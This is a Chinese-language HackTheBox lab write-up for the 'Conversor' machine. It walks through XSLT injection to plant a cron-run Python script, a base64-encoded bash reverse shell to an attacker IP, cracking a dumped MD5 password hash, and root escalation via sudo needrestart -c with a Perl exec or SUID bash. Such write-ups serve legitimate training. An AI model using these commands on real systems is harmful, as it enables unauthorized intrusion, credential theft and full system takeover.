HTB Conversor 靶场 Writeup
Nmap
1 | nmap -sV 10.129.238.31 |
22,80
将机器主机名添加到本地主机文件中:
1 | echo "10.129.238.31 conversor.htb" | sudo tee -a /etc/hosts |
10.129.238.31

注册登录之后进入


下载源码后:
tar -xvf source_code.tar.gz 解压
install.md:
每分钟执行/var/www/conversor.htb/scripts 下的py文件
XSLT 注入
利用xlst的EXSLT拓展往这个目录下写py脚本弹shell
EXSLT,即可扩展样式表语言转换,是对XSLT(可扩展样式表语言转换)语言的一组扩展。EXSLT,即可扩展样式表语言转换,是对XSLT(可扩展样式表语言转换)语言的一组扩展。
payload:
先在本地把反弹命令 base64 一下,避免引号、空格、特殊字符把 Python/XSLT 搞坏
1 | printf 'bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"' | base64 -w0 |
1 |
|
生成一个xlst文件
再准备一个合法 XML
1 | <root/> |
保存成 a.xml
在上传页面提交:
xml_file = a.xml
xslt_file = shell.xsl

点击生成的连接,等待1分钟获取到www-data用户

从app.py中获取到网站数据库路径/var/www/conversor.htb/instance/users.db
查看数据库获取到fismathack用户密码哈希
1 | sqlite3 /var/www/conversor.htb/instance/users.db 'select id,username,password from users;' |

1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
john爆破
1 | echo '5b5c3ac3a1c897c94caad48e6c71fdec' > md5.txt |

Keepmesafeandwarm
su fismathack


flag1: b7ff50e02f7e33c1ae3b327873783e63

needrestart -c
fismathack 可以sudo执行 needrestart工具,这个工具的源码可以在github上找到,可以发现其中-c参数存在命令执行(会把传入的文件当做perl执行)
方法一:直接弹 root shell
先写一个 Perl 文件:
1 | printf 'exec "/bin/bash", "-p";\n' > /tmp/pwn.pl |
意思是执行
1 exec "/bin/bash", "-p";1.
exec的意思是:用后面的程序,直接替换掉当前进程也就是说,当前被执行的 Perl 进程,不再继续运行,而是“变成”:
1 /bin/bash -p这和
system()有点像,但不完全一样:
system():开一个子进程去执行命令,原 Perl 进程还在exec():直接把当前进程替换成目标程序所以这里用
exec效果就是:当前 root 权限的进程直接变成一个 root bash2.
-p的作用可以理解成:让 bash 以“特权模式”运行,尽量保留当前的有效权限,不主动降权。
如果没有
-p,某些情况下 bash 可能会因为安全机制丢掉提权后的有效 uid
然后执行:
以root命令运行pwn.pl,让 root 进程直接变成
/bin/bash -p
1 | sudo /usr/sbin/needrestart -c /tmp/pwn.pl |
成功直接进 root shell

flag 2: 487165e8ae998a59dd34e09a822162a7
方法二:
1 | echo 'system("chmod +s /bin/bash");' > pwn.sh |
这里执行的系统命令就是:
1 chmod +s /bin/bashsystem执行命令,给/bin/bash加上root权限
